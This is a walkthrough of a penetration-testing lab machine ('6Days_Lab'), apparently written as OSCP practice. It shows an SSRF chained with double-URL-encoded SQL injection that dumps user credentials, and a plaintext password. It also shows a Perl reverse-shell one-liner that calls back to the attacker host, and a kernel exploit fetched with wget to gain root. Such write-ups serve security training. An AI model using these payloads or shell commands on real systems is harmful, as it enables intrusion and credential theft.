OSCP - 6Days_Lab-v1.0.1靶机
arp-scan -l 扫描靶机IP地址
nmap -sV -Pn -A x.x.x.232
访问 http://x.x.x.232
输入折扣码,提示代码过期,没啥用处
查看页面源码
访问,得到出错,可能存在ssrf
修改src=后边参数为index.php,并没有拦截,也没有报错
使用dirb http://x.x.x.232,获取靶机网站目录结构文件
打开BP进行抓包,发现响应包是主页界面,访问passwd文件
查看config.php信息,得到数据库账号,密码,数据库名信息
其他发现的网站界面都会被ips拦截
查看apache默认配置信息
在apache默认文件中,发现网站实际就是在8080端口,只接受本地连接,然后转发到80端口
通过配置信息,获得的消息,可以发现网站直接跟mysql数据库连接,存在sql注入,两次url编码即可绕过
通过Python来生成sql语句
输入 python3 进入python3环境
from urllib.parse import quote ,引入quote模块里的url编码
quote(quote("SQL语句")),两次url编码sql语句
例如:quote(quote("aaaa'union select version(),2#")),获取当前数据库版本信息
payload:image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520version%2528%2529%252C2%2523
通过ssrf+sql注入,得到想要的信息
获取当前数据库payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520database%2528%2529%252C2%2523
获取当前数据库中的表payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528table_name%2529%252C2%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2523
获取表中字段名payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528column_name%2529%252C2%2520from%2520information_schema.columns%2520where%2520table_schema%253Ddatabase%2528%2529%2520and%2520table_name%253D%2527users%2527%2523
获取所需账号密码信息payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528username%252C%2527~~~~%2527%252Cpassword%2529%252C2%2520from%2520fancydb.users%2523
获取到andrea账户的密码信息,开启了ssh端口,尝试使用ssh进行连接
输入命令 ssh andrea@192.168.1.103
密码:SayNoToPentests
之后输入密码,连接成功
连接之后发现任何命令都没反应
ssh连接的靶机上输入命令:perl -e 'use Socket;$i="x.x.x.x";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
命令的i参数:后边的ip地址为自己攻击机主机的ip地址
命令的p参数:后边为nc本地监听的端口
执行之后发现反弹命shell成功,命令也都有回显
python -c ’import pty; pty.spawn("/bin/bash")‘进入交互模式
进行提权
输入 uname -a,获取系统内核版本为3.13.0
搜索可用exp
输入命令 searchsploit 3.13.0,发现kali系统内置的exp脚本
将可用脚本下载到靶机平台
首先开启攻击机的python3服务
在反弹的shell中下载脚本
输入命令,wget http://192.168.1.102/37292.c
编译.c文件
执行./exp
获得root权限
进入跟根目录
执行./flag
获得flag的内容